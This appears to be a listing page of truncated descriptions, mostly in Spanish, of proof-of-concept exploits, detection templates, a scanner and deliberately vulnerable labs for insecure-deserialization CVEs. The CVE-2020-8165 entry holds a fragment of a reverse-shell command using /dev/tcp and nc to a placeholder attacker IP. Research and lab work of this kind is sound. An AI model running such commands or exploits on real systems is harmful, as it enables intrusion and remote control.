CVE-2022-48565-POC

PoC de CVE-2022-48565 Introducción Esta es una prueba de concepto PoC que demuestra la vulnerabilidad CVE-2022-48565 , basada en la deserialización insegura de archivos Plist en Python. Al procesar archivos Property List Plist especialmente manipulados, un atacante puede ejecutar código arbitrari...

CVE-2022-31199

CVE-2022-31199 - POCs de Exploit RCE para Netwrix Auditor 🔍 Resumen de la Vulnerabilidad CVE-2022-31199 es una vulnerabilidad crítica de deserialización insegura de objetos en Netwrix Auditor versiones anteriores a la 10.5. La vulnerabilidad existe en un servicio .NET Remoting no seguro que escuc...

Telerik_CVE-2019-18935

Escáner Python de TelerikUI telerikrcescan.py Ejemplos Evaluar una IP para CVE-2019-18935 $ python3 telerikrcescan.py -t 192.168.44.21 Evaluar un nombre de equipo para CVE-2019-18935 $ python3 telerikrcescan.py -t vulnerable.telerik.net Evaluar un rango de red CIDR para CVE-2019-18935 $ python3...

CVE-2025-59287

En este estudio, examinaremos una vulnerabilidad crítica CVE-2025-59287 descubierta en el entorno de Microsoft Windows Server Update Services WSUS. Esta vulnerabilidad surge de la deserialización insegura de objetos AuthorizationCookie enviados al endpoint GetCookie, donde los datos cifrados de l...

CVE-2020-8165

Exploit en Python para CVE-2020-8165 Este es un código para explotar CVE-2020-8165 usando Python3. Este exploit funciona con rails & /dev/tcp/10.10.X.X/8989 0&1'" python3 exploit.py 10.10.10.X 8080 [email protected] password "nc 10.10.X.X 8989" Créditos principales Detalles originales del CV...

Cacti < 1.2.25 Insecure Deserialization

Cacti is an open source operational monitoring and fault management framework. There are two instances of insecure deserialization in Cacti version 1.2.24. id: CVE-2023-30534 info: name: Cacti 1.2.25 Insecure Deserialization author: k0pak4 severity: medium description: | Cacti is an open source...

Red Hat JBoss - Insecure Deserialization

Red Hat JBoss Application Server 4.x, 5.x, 6.x contains an insecure deserialization vulnerability in the JMXInvokerServlet and EJBInvokerServlet HTTP Invoker endpoints. These endpoints deserialize arbitrary Java objects from unauthenticated HTTP POST requests. An attacker can send a crafted Apach...

SolarWinds Web Help Desk < 2026.1 - Unauthenticated JNDI Injection RCE

SolarWinds Web Help Desk before version 2026.1 contains an insecure deserialization vulnerability in the jabsorb JSON-RPC library. When chained with a CSRF whitelist bypass CVE-2025-40536, remote unauthenticated attackers can exploit JNDI injection via the Apache Xalan JNDIConnectionPool class to...

Apache Dubbo 2.5.x-2.7.4 - Insecure Deserialization

Unsafe deserialization occurs within a Dubbo application which has HTTP remoting enabled. An attacker may submit a POST request with a Java object in it to completely compromise a Provider instance of Apache Dubbo, if this instance enables HTTP. This issue affected Apache Dubbo 2.7.0 to 2.7.4,...

GiveWP <= 4.16.7.1 - Remote Code Execution

GiveWP = 4.16.7.1 contains an insecure deserialization vulnerability caused by deserialization of untrusted data, letting attackers perform object injection remotely, exploit requires crafted input id: CVE-2026-82222 info: name: GiveWP = 4.16.7.1 - Remote Code Execution author: 0xAkoko,pdteam...

cve-2017-9822

CVE-2017-9822 Información principal Configuración del entorno Configuración de depuración Análisis Depuración XmlSerializer Gadget de ataque ObjectDataProvider ResourceDictionary De deserialización XML insegura a RCE CVE-2017-9822 DNN también conocido como DotNetNuke anterior a la versión 9.1.1...

CVE-2025-55184

PoC de React2Shell Este repositorio proporciona un entorno mínimo intencionalmente vulnerable para probar escáneres de seguridad contra la reciente vulnerabilidad crítica de RCE React2Shell que afecta a React Server Components y Next.js. CVE-2025-55182 : Existe una vulnerabilidad de ejecución...

CVE-2026-12191

CVE-2026-12191 Un exploit de prueba de concepto para CVE-2026-12191, una vulnerabilidad de deserialización insegura en modeld.py de Comma AI Openpilot, que permite a un atacante local con bajos privilegios lograr la ejecución arbitraria de código al proporcionar una carga útil maliciosa de Python...

CVE-2025-24813-PoC-Apache-Tomcat-RCE

Apache Tomcat CVE-2025-24813 Prueba de Concepto PoC Una prueba de concepto de exploit para la vulnerabilidad de deserialización en Apache Tomcat CVE-2025-24813. Esta herramienta demuestra cómo los atacantes podrían explotar la deserialización insegura en la gestión de sesiones de Tomcat...

VulnLab

VulnLab Un laboratorio de vulnerabilidades web desarrollado por Yavuzlar. Logotipo Vulnerabilidades Inyección SQL Cross Site Scripting XSS Inyección de comandos Referencias directas a objetos no seguras IDOR Falsificación de petición en sitios cruzados CSRF Entidad externa XML XXE Deserialización...

CVE-2024-1651-PoC

CVE-2024-1651 Este CVE fue descubierto por Carlos Bello del Fluid Attack Offensive Team. El hallazgo trata sobre la Deserialización Insegura de Objetos para obtener RCE Remote Code Execution. Aquí, he creado un PoC Proof of Concept más rápido y fácil de usar. Por lo tanto, si alguien quiere...

CVE-2025-66478-Exploit-Poc

PoC de CVE-2025-66478 de Next.js Inglés | 한국어 Este repositorio contiene una Prueba de Concepto PoC para reproducir e investigar la vulnerabilidad CVE-2025-66478 de Next.js. Consiste en una aplicación Next.js vulnerable y un script de explotación en Python para probar la vulnerabilidad. ¿Qué es...

php_code_analysis

this script will scan your code the script can find 1. checkfileupload issues 2. hostheaderinjection 3. SQl injection 4. insecure deserialization 5. openredirect 6. SSRF 7. XSS 8. LFI 9. commandinjection features 1. fast 2. simple report usage: python code.py file.php -this will scan one file...

xvna

XVNA Extreme Vulnerable Node Application XVNA is an extreme vulnerable node application coded in NodejsExpressjs/MongoDB that helps security enthusiasts to learn application security. it's not counseled to host this application online as it is intended to be Vulnerable. We tend to suggest hosting...

react2shellVulnApp

Laboratorio de Aplicación Bancaria Vulnerable React2Shell Aplicación bancaria deliberadamente vulnerable para CVE-2025-55182 React y CVE-2025-66478 Next.js para aprender, detectar y ejercitar de forma segura React2Shell. Ejecuta React 19.0.0 y Next.js 15.0.3 sin parches. Descripción general...